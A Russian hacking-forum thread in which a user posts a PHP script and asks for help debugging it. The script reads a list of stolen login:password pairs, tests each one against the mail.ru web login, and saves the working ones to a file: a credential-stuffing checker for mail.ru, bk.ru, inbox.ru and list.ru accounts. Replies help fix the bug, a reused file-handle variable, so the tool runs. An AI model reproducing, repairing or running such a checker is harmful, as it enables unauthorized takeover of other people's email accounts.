Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Что не так? php (https://forum.antichat.xyz/showthread.php?t=122016)

sNt 24.05.2009 00:15

Что не так? php
 
PHP код:

<?php

Error_Reporting
(E_ALL & ~E_NOTICE); 
set_time_limit(5);  

$acc="la.txt";
$fp=@fopen($acc,"r");
while(!
feof($fp)){
$account trim(fgets($fp));
$ac explode(":"$account);
$login $ac[0];
$pass $ac[1];

$domain="";
if(
preg_match("/mail.ru/"$login)) {$domain="@mail.ru";}
elseif(
preg_match("/bk.ru/"$login)) {$domain="@bk.ru";}
elseif(
preg_match("/inbox.ru/"$login)) {$domain="@inbox.ru";}
elseif(
preg_match("/list.ru/"$login)) {$domain="@list.ru";}
$login=str_replace($domain""$login);


$fp fsockopen('win.mail.ru'80$errno$errstr30);   

if (
$fp
    {   
      
$data "Login=$login&Domain=$domain&Password=$pass"
      
$headers  "POST /cgi-bin/auth HTTP/1.1\n";
      
$headers .= "Host: win.mail.ru\n"
      
$headers .= "Connection: close\n"
      
$headers .= "Content-Type: application/x-www-form-urlencoded\n";  
      
$headers .= "Content-Length: ".strlen($data)."\n\n".$data;  

      
fwrite($fp$headers);   
      
$line='';  
      while (!
feof($fp))  
      {   
        
$line .= fgets($fp1024);   
      }   
      
fclose($fp);   

    }   
$auth=0;

$text="302 OK";
if(
preg_match("/$text/i""$line")) {$auth=1;} else {$auth=0;}

if(
$auth==1
{
$file=fopen("base.txt""a");
fwrite($file"<br>$login@$domain:$pass</br>");
fclose($file);}
}

?>

Вылезают ошибки

Warning: feof(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 8

Warning: fgets(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 9

Что не так? Не могу понять... :(

POS_troi 24.05.2009 00:28

а просто

тестить лень...

Цитата:

$fp=fopen($acc,"r");
тут покопай http://ua2.php.net/feof

sNt 24.05.2009 03:30

Все, все решилось уже

POS_troi 24.05.2009 04:47

Ну так отпиши.. вдруг у когото будет таже трабла, ато как-то не правильно - заварил а выхлопа "0" =)

PaCo 24.05.2009 05:13

а собствено о чем отписывать если php сам все отписал? Из ошибки ясно видно что la.txt не было в дириктории со скриптом либо он был не доступен для чтения php.

sNt 27.05.2009 02:11

Пересекались переменные $fp. В какой-то момент скрипт начинал воспринимать переменную $fp (которая открывает сокет) как линк к файлу, и, понятное дело, сообщал, что такого файла он найти не может. После ренейма переменной все встало на свои места


Время: 12:38